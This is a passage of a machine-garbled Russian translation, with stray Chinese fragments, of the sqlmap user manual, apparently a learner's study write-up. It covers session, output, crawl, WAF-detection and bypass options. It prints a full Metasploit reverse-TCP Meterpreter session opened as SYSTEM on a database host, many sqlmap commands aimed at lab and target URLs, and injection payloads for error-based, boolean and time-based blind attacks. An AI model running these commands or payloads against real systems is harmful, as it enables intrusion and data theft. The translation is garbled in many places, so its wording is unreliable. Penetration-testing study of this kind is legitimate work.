[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit
Mysql по умолчанию запускается как СИСТЕМА в Windows, но PostgreSQL работает как пользователь postgres с низким уровнем привилегий как в Windows, так и в Linux. SQL Server 2000 по умолчанию работает как СИСТЕМА, но SQL Server 2005–2008 большую часть времени работает как СЕТЕВАЯ СЛУЖБА и несколько раз как ЛОКАЛЬНАЯ СЛУЖБА.
Команда Metasploit getsystem может быть выполнена с использованием параметра «–priv-esc», чтобы попытаться повысить привилегии.
Вы можете управлять реестром Windows, если выполняются следующие условия:
Параметры: --reg-read
Параметры: –reg-add
Параметры: –reg-del
Параметры: –reg-key, –reg-value, –reg-data и –reg-type.
Соответствующее использование вышеуказанных параметров позволяет добавлять или изменять раздел реестра Windows в команде без предоставления данных в форме вопросов и ответов при запуске Sqlmap.
Вот пример:
python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
Параметры: -с
Sqlmap автоматически создает файлы SQLite длительного сеанса для каждой цели.,Этот файл единообразно хранится в определенном каталоге (нравиться:~/.sqlmap/output/),Он содержит все данные, необходимые для восстановления сеанса. Если пользователь хочет явно указать файл SQLite (например, если он хочет хранить данные из нескольких целей в одном файле SQLite),Может Используйте этот параметр。
Параметры: -т
За этим параметром следует путь к файлу для регистрации запросов и ответов HTTP(S) в текстовом формате в файле. Такие журналы полезны при отладке.
Параметры: –пакетный
Использование этого параметра позволяет Sqlmap работать в неинтерактивном режиме, и все необходимые входные данные будут принимать значения по умолчанию.
Параметры: –charset
правильно декодировать данные,Sqlmap будет использовать информацию, предоставленную веб-сервером (например, настройку кодировки символов в заголовке HTTP).,илида使用第三方库chardetэвристически определить кодировку символов。
Вы можете использовать параметр «-charset», чтобы указать кодировку символов, например «--charset=GBK».
Параметры: –Crawl
Sqlmap может сканировать целевой сайт, начиная с целевого URL-адреса, и собирать URL-адреса, которые могут иметь уязвимости. Для использования этого параметра также требуется задать глубину сканирования, которая зависит от целевого URL-адреса, с которого начинается сканирование. Сканирование заканчивается только тогда, когда все новые ссылки будут рекурсивно посещены. Рекомендуется использовать этот параметр вместе с «--delay».
Следующий пример предназначен для MySQL:
python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
Часть вывода выглядит следующим образом:
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
Параметры: –Crawl-exclude
После этого параметра с помощью регулярного выражения можно исключить URL-адреса, которые вы не хотите сканировать. Если URL-адрес соответствует обычному шаблону, он не будет сканироваться. Например, используйте «--crawl-exclude=logout», чтобы исключить все URL-адреса, содержащие строку «logout».
Параметры: –csv-del
Когда данные выводятся в файл CSV (–dump-format=CSV),По умолчанию через ",",Может以Используйте этот параметр Укажите разделитель。нравиться:“–csv-del=”;””。
Параметры: –dbms-cred
В некоторых случаях выполнение действия завершается неудачно из-за низкого уровня текущих прав пользователя в системе управления базой данных. В этом случае вы можете использовать этот параметр для предоставления учетных данных для аутентификации пользователя-администратора, и Sqlmap будет специально использовать «запуск» для неудачного выполнения. часть. как» (нравиться: Microsoft SQL OPENROWSET сервера) и повторно выполните неудачное действие от имени администратора. Конечно, вам необходимо знать учетные данные для аутентификации пользователя-администратора.
Параметры: --dump-формат
Sqlmap имеет три различных формата вывода перечислимых данных: CSV, HTML и SQLITE. По умолчанию используется формат CSV, каждая таблица данных сохраняется в текстовый файл, одна строка — это одна запись, разделенная запятыми (или используйте «-csv-del», чтобы указать разделитель). Выберите формат HTML, все данные сохраняются в файле HTML, а данные хранятся в таблицах. Выберите формат SQLITE, и все данные будут сохранены в файле SQLITE. Имя и структура таблицы в SQLITE будут такими же, как в исходной таблице.
Параметры: –эта
Этот параметр используется для отображения предполагаемого времени завершения. Следующий пример представляет собой слепую логическую инъекцию, ориентированную на Oracle:
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
Часть вывода выглядит следующим образом:
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64
Then:
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:
'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
Как видите, Sqlmap сначала вычисляет длину вывода запроса, затем оценивает время выполнения и, наконец, отображает процентный индикатор выполнения и подсчитывает принятые данные.
Параметры: --flush-session
Используйте этот параметр, чтобы обновить файл сеанса, чтобы избежать некоторых проблем, которые могут быть вызваны механизмом кэширования Sqlmap по умолчанию. Предварительным условием для использования этого параметра является правильное понимание концепции файлов сеансов. Другой возможный метод — вручную удалить файл сеанса.
Параметры: –forms
Помимо использования «-r» и «--data» для проверки наличия у данных формы точки внедрения, вы также можете использовать параметр «--forms», чтобы проверить, имеют ли данные формы точку внедрения.
Используя параметры «--forms» и «-u» одновременно, Sqlmap проанализирует целевой URL-адрес (URL-адрес, указанный «-u») и вернет форму на странице, проверяя, есть ли у формы точка внедрения. без выполнения тестирования внедрения на целевом URL.
Параметры: -fresh-queries
Используйте этот параметр для повторного выполнения запроса, игнорируя результаты запроса в файле сеанса.
Параметры: –hex
Данные, не относящиеся к ASCII, подвержены ошибкам во время передачи. Используйте шестнадцатеричную функцию, чтобы вернуть данные в целевой базе данных в шестнадцатеричном формате.
Следующий пример предназначен для PostgreSQL:
python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
Часть вывода выглядит следующим образом:
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
Параметры: --output-dir
Sqlmap по умолчанию сохраняет файлы сеансов и файлы результатов в выходной подкаталог.,Вы можете использовать этот параметр, чтобы указать выходной каталог.,нравиться:“–output-dir=/tmp”。
Параметры: --parse-errors
Если веб-приложение настроено в режиме отладки, информация об ошибке SQL, скорее всего, будет отображаться на странице ответа HTTP. Эти сообщения об ошибках полезны для понимания причины сбоя операции. Например, сообщение об ошибке, вызванное недостаточными разрешениями, похоже на это: «Доступ запрещен для пользователя».
Следующий пример предназначен для Microsoft SQL Server:
python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors
Часть вывода выглядит следующим образом:
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending the rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
Параметры: --pivot-column
Иногда (например, в Microsoft SQL Server, Sybase и SAP MaxDB) невозможно напрямую использовать метод смещения m, n для перечисления записей таблицы данных из-за отсутствия аналогичного механизма. В этом случае Sqlmap перечисляет данные, определяя наиболее подходящий сводный столбец (наиболее уникальное значение), значения которого позже используются для получения значений других столбцов.
Если автоматический выбор не удался, вам нужно использовать этот параметр, чтобы вручную указать столбец центральной оси, нравиться: «–pivot-column=id».
Параметры: –сохранить
Используйте этот параметр, чтобы сохранить параметры командной строки Sqlmap в файле конфигурации, который доступен для редактирования и может быть загружен с помощью параметра «-c». Файл конфигурации имеет формат INI.
Параметры: –обновить
Sqlmap можно обновить с помощью этого параметра. Очевидно, требуется подключение к Интернету. В случае сбоя выполнения вы можете выполнить «git pull”обновитьSqlmap。существоватьWindowsНиктоgit命令Может以使用SmartGit之类изgitклиент。
На самом деле «--update» и «git pull» для обновления Sqlmap таким же образом,都да从Git-репозиторийПолучите последний исходный код с。
Настоятельно рекомендуется обновить Sqlmap, прежде чем сообщать об ошибке.
Параметр: -z
Часто используются некоторые комбинации параметров, например «-batch –random-agent –ignore-proxy». –technique=BEU", писать такую длинную строку выглядит некрасиво. В Sqlmap предусмотрен сокращенный способ сокращения длины команды.
Используйте параметр «-z»,Каждый параметр можно записать только несколькими первыми буквами.,Например, «--batch» можно сократить до «летучая мышь». Принцип аббревиатуры заключается в том, что ее можно различить и соответствующие параметры уникальны. Каждый параметр разделяется запятыми. нравиться:
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"
Его можно сократить как:
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
Снованравиться:
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"
Его можно сократить как:
python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"
Параметры: –alert
Этот параметр используется для подачи оповещения при обнаружении новой точки инъекции.,за которым следует команда поднять тревогу,нравиться:
python sqlmap.py -r data.txt --alert "notify-send «Обнаружен дефект»
Часть вывода выглядит следующим образом:
[18:59:36] [INFO] GET parameter 'couno' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)' injectable (with --not-string="001")
[18:59:36] [INFO] executing alerting shell command(s) ('notify-send «Обнаружена уязвимость»)
Команда, используемая для подачи оповещения в приведенном выше примере, — это команда notify-send в Ubuntu.
Параметры: –ответы
На все вопросы по умолчанию даются ответы при работе в неинтерактивном режиме с использованием «--batch». Иногда вам не нужно значение по умолчанию в качестве ответа и вы хотите использовать неинтерактивный режим.,В настоящее время вы можете использовать параметр «-ответы», чтобы отвечать на конкретные вопросы.,Если вы ответите на несколько вопросов,Разделяйте запятыми. нравиться:
python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch
Часть вывода выглядит следующим образом:
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N
Параметры: –beep
Используйте этот параметр для подачи звукового сигнала при успешном обнаружении точки инъекции. Этот параметр особенно полезен при использовании «-m» для обнаружения большого количества веб-сайтов из файлов журналов.
Параметры: –cleanup
Настоятельно рекомендуется использовать этот параметр для очистки временных таблиц и пользовательских функций, созданных Sqlmap после теста. Sqlmap попытается максимально очистить следы вторжения в систему управления базой данных и файловую систему.
Параметры: –зависимости
Некоторые функции Sqlmap полагаются на сторонние библиотеки.,При его использовании он сообщит об ошибке и завершит работу, если обнаружит, что эти библиотеки недоступны. Используйте этот параметр, чтобы проверить, установлены ли зависимые сторонние библиотеки.,нравиться:
python sqlmap.py --dependencies
Часть вывода выглядит следующим образом:
[*] starting at 19:16:05
[19:16:05] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in order to directly connect to the DBMS 'Firebird'. Download from http://kinterbasdb.sourceforge.net/
[19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Sybase'. Download from https://github.com/pymssql/pymssql
[19:16:05] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in order to directly connect to the DBMS 'Oracle'. Download from http://cx-oracle.sourceforge.net/
[19:16:05] [WARNING] sqlmap requires 'python-psycopg2' third-party library in order to directly connect to the DBMS 'PostgreSQL'. Download from http://initd.org/psycopg/
[19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'IBM DB2'. Download from https://github.com/ibmdb/python-ibmdb
[19:16:05] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-party library in order to directly connect to the DBMS 'HSQLDB'. Download from https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'Informix'. Download from https://github.com/ibmdb/python-ibmdb
[19:16:05] [WARNING] sqlmap requires 'python-pyodbc' third-party library in order to directly connect to the DBMS 'Microsoft Access'. Download from https://github.com/mkleehammer/pyodbc
[19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Microsoft SQL Server'. Download from https://github.com/pymssql/pymssql
[19:16:05] [WARNING] sqlmap requires 'python-impacket' third-party library for out-of-band takeover feature. Download from http://code.google.com/p/impacket/
[19:16:05] [WARNING] sqlmap requires 'python-ntlm' third-party library if you plan to attack a web application behind NTLM authentication. Download from http://code.google.com/p/python-ntlm/
[19:16:05] [WARNING] sqlmap requires 'websocket-client' third-party library if you plan to attack a web application using WebSocket. Download from https://pypi.python.org/pypi/websocket-client/
[*] shutting down at 19:16:05
Как видите, мне не хватает в основном сторонней библиотеки для подключения к базе данных.
Параметры: –disable-coloring
Параметры: –gpage
При использовании параметра «-g» для инъекционного тестирования по умолчанию выбираются первые 100 результатов Google Dork. В сочетании с этим параметром вы можете указать страницу, на которой будут использоваться результаты Google Dork.
Параметры: –hpp
Загрязнение параметров HTTP — это метод обхода WAF/IPS/IDS.,Подробности см.здесь。Эта технология направлена наASP/IISиASP.NET/IISПлатформы особенно эффективны。нравиться果怀疑目标受WAF/IPS/IDSЗащищать,Вы можете попробовать использовать этот параметр для обхода.
Параметры: --identify-waf
Sqlmap может идентифицировать WAF/IPS/IDS, чтобы пользователи могли выполнять целевые операции (нравиться: добавить «--tamper»). В настоящее время Sqlmap поддерживает обнаружение более 30 различных WAF/IPS/IDS, таких как Airlock и Barracuda. установочного каталога.
Следующий пример предназначен для MySQL, защищенного ModSecurity WAF:
python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
Часть вывода выглядит следующим образом:
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')
Параметры: --skip-waf
По умолчанию Sqlmap отправит поддельную полезную нагрузку SQL-инъекции, чтобы проверить, имеет ли цель меры защиты. Если возникнут какие-либо проблемы, пользователи могут отключить эту технологию, используя параметр «--skip-waf».
Параметры: –mobile
Некоторые сайты по-разному возвращаются для смартфонов и настольных компьютеров. Если вам нужно протестировать страницу смартфона на таком веб-сайте, вы можете настроить пользовательский агент для смартфона.,или проще,Используйте этот параметр,Во время выполнения Sqlmap спросит, какой популярный мобильный телефон следует имитировать.,нравиться:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]
Параметры: –оффлайн
Добавив этот параметр, Sqlmap будет использовать для тестирования только ранее сохраненные данные сеанса, не отправляя никаких пакетов в цель.
Параметры: --page-rank
При использовании с параметром «-g» Sqlmap будет инициировать больше запросов к Google и отображать авторитетность страницы.
Параметры: --purge-output
Когда пользователи хотят безопасноудалить输出目录中из所有内容时Используйте этот параметр。так называемая безопасностьудалить,не просто удалить,Вместо этого перезапишите исходные данные случайными данными перед их удалением.,Даже имена файлов и каталогов переименовываются, чтобы перезаписать старые имена.,Выполняйте удаление только после завершения всех работ по покрытию.,В выходном каталоге ничего не будет. нравиться:
python sqlmap.py --purge-output -v 3
Часть вывода выглядит следующим образом:
[*] starting at 19:51:36
[19:51:36] [DEBUG] cleaning up configuration parameters
[19:51:36] [INFO] purging content of directory '/home/werner/.sqlmap/output'...
[19:51:36] [DEBUG] changing file attributes
[19:51:36] [DEBUG] writing random data to files
[19:51:36] [DEBUG] truncating files
[19:51:36] [DEBUG] renaming filenames to random values
[19:51:36] [DEBUG] renaming directory names to random values
[19:51:36] [DEBUG] deleting the whole directory tree
[*] shutting down at 19:51:36
Параметры: –умный
Когда нужно протестировать большое количество URL-адресов (нравиться: "-m"),Цель состоит в том, чтобы как можно скорее найти некоторые точки внедрения, и не имеет значения, если вы что-то пропустите. Вы можете использовать «--smart» для выполнения прямого эвристического сканирования. На данный момент дальнейшему тестированию будут подвергаться только те параметры, которые заставляют систему управления базами данных сообщать об ошибке.,Все остальные URL-адреса пропускаются. нравиться:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[...]
Параметры: –test-filter
Если вы хотите использовать только полезную нагрузку, содержащую ключевое слово «ROW», вы можете использовать параметр «-test-filter=ROW». Вот пример, ориентированный на Mysql:
python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --batch --test-filter=ROW
Часть вывода выглядит следующим образом:
[xx:xx:39] [INFO] GET parameter ’id’ is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter ’id’ might be injectable (possible DBMS: ’MySQL’)
[xx:xx:39] [INFO] testing for SQL injection on GET parameter ’id’
[xx:xx:39] [INFO] testing ’MySQL >= 4.1 AND error-based - WHERE or HAVING clause’
[xx:xx:39] [INFO] GET parameter ’id’ is ’MySQL >= 4.1 AND error-based - WHERE or HAVING clause’ injectable GET parameter ’id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELECT (CASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FROM (SELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY x)
---
Параметры: –test-skip
Если вы не хотите использовать полезную нагрузку, содержащую ключевое слово «BENCHMARK», вы можете использовать параметр «-test-skip=BENCHMARK».
Параметры: –sqlmap-shell
Используйте этот параметр, чтобы открыть интерактивную Sqlmap. Shell,История поддержки。нравиться:
werner@Yasser:~$ sqlmap --sqlmap-shell
___
__H__
___ ___[.]_____ ___ ___ {1.1.10#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
sqlmap-shell> -u "192.168.56.102"
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:22:46
[20:22:46] [INFO] testing connection to the target URL
[20:22:46] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[20:22:46] [INFO] testing if the target URL is stable
[20:22:47] [INFO] target URL is stable
[20:22:47] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')
[*] shutting down at 20:22:47
___
__H__
___ ___[.]_____ ___ ___ {1.1.10#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
sqlmap-shell> exit
Параметры: --wizard
Sqlmap специально подготовил мастер для новичков, рабочий процесс которого вызывает как можно меньше проблем. Если после того, как пользователь введет цель, он продолжит нажимать Enter для выбора ответа по умолчанию до конца рабочего процесса, он получит правильный результат. нравиться:
werner@Yasser:~$ sqlmap --wizard
___
__H__
___ ___["]_____ ___ ___ {1.1.10#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:39:41
[20:39:41] [INFO] starting wizard interface
Please enter full target URL (-u): http://192.168.56.102/login.php
POST data (--data) [Enter for None]: username=001&password=003
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 1
sqlmap is running, please wait..
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
Payload: username=001%' OR NOT 2143=2143#&password=003
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (comment)
Payload: username=001%' OR SLEEP(5)#&password=003
---
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '5.5.50-0ubuntu0.14.04.1'
current user: 'root@localhost'
current database: 'DSSchool'
current user is DBA: True
[*] shutting down at 20:40:07
Полностью прочитав официальное руководство по Sqlmap, я наконец-то получил более полное представление о Sqlmap. Раньше я только слышал об этом, но теперь я по-настоящему ощущаю мощь Sqlmap и еще больше восхищаюсь двумя авторами Sqlmap:
